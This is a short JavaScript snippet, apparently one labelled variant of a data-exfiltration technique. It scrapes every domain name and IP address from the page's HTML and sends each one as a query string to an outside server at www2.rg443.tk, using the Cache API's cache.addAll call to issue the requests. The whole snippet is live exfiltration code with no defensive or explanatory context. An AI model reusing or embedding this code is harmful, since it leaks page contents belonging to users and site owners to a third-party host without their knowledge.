d2 (cache.addAll)

var l=Array.from(new Set(document.body.innerHTML.match(/(\b[a-z0-9_\-.]+\.[a-z]{2,64}\b)|(\b\d+\.\d+\.\d+\.\d+\b)/gim)))
function _d2(l,callback1) {
caches.open('test-cache').then(function(cache) {

    cache.addAll(l.map(i=>'https://www2.rg443.tk/p/d2.php?q='+i))
    .then(function() {callback1()})
})
}
_d2(l,function(){console.log('thanks'); });